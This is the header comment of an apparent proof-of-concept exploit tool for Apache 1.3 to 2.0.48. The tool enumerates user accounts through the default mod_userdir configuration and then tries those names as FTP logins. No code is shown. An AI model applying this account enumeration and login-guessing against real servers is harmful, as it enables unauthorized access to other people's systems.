* Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
* ~ Proof-of-Concept edition ~
*
* This tool scans remote hosts with httpd (apache) and disclosure information
* about existens users accounts via wrong default configuration of mod_userdir
* (default apache module). Then attempts to log on ftp with found logins.
*
* Works only against Linux and *BSD boxes.
* Info: http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0065.html
* This is old, but curentlly still actual problem, because 99% of all admins use
* default configuration of apache http server.
